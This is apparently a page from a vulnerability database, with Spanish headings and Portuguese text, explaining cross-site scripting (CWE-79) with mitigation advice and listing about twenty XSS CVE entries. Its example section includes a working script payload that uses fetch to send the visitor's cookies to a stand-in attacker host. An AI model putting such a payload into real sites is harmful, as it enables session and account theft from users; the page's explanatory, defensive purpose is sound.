Fallos del tipo CWE-79

29.035 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-4736LOWVenganzas del Pasado cross site scriptingEPSS 0.6%CVE-2022-4881MEDIUMCapsAdmin PAC3 http.lua cross site scriptingEPSS 0.6%CVE-2022-4235MEDIUMRushBet version 2022.23.1-b490616d allows a remote attacker to steal customer accounts via use of a malicious application. This is possible EPSS 0.6%CVE-2024-25327MEDIUMCross Site Scripting (XSS) vulnerability in Justice Systems FullCourt Enterprise v.8.2 allows a remote attacker to execute arbitrary code viEPSS 0.6%CVE-2023-40592HIGHReflected Cross-site Scripting (XSS) on "/app/search/table" web endpointEPSS 0.6%CVE-2023-4945MEDIUMBooster for WooCommerce <= 7.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.6%CVE-2024-2146LOWSourceCodester Online Mobile Management Store ?p=products cross site scriptingEPSS 0.6%CVE-2023-52046MEDIUMCross Site Scripting vulnerability (XSS) in webmin v.2.105 and earlier allows a remote attacker to execute arbitrary code via a crafted paylEPSS 0.6%CVE-2021-37374MEDIUMCross Site Scripting (XSS) vulnerability in Teradek Clip all firmware versions allows remote attackers to run arbitrary code via the FriendlEPSS 0.6%CVE-2022-36432MEDIUMThe Preview functionality in the Amasty Blog Pro 2.10.3 plugin for Magento 2 uses eval unsafely. This allows attackers to perform Cross-siteEPSS 0.6%CVE-2021-36889LOWWordPress tarteaucitron.js – Cookies legislation & GDPR plugin <= 1.6 - Multiple Stored Authenticated Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.6%CVE-2020-20521MEDIUMCross Site Scripting vulnerability found in KiteCMS v.1.1 allows a remote attacker to execute arbitrary code via the comment parameter.EPSS 0.6%CVE-2021-41836MEDIUMFathom Analytics <= 3.0.4 Authenticated Stored Cross-Site ScriptingEPSS 0.6%CVE-2026-66395CRITICALSiYuan Desktop before v3.7.2 Reflected XSS to RCE via siyuan ProtocolEPSS 0.6%CVE-2020-20070MEDIUMCross Site Scripting vulnerability found in wkeyuan DWSurvey 1.0 allows a remote attacker to execute arbitrary code via thequltemld parameteEPSS 0.6%CVE-2022-37421MEDIUMSilverstripe silverstripe/cms through 4.11.0 allows XSS.EPSS 0.6%CVE-2023-3445LOWCross-site Scripting (XSS) - Stored in spinacms/spinaEPSS 0.6%CVE-2022-27848LOWWordPress Modern Events Calendar Lite plugin <= 6.5.1 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2022-34658MEDIUMWordPress Download Manager plugin <= 3.2.48 - Multiple Authenticated Persistent Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.6%CVE-2022-36355MEDIUMWordPress Easy Org Chart plugin <= 3.1 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%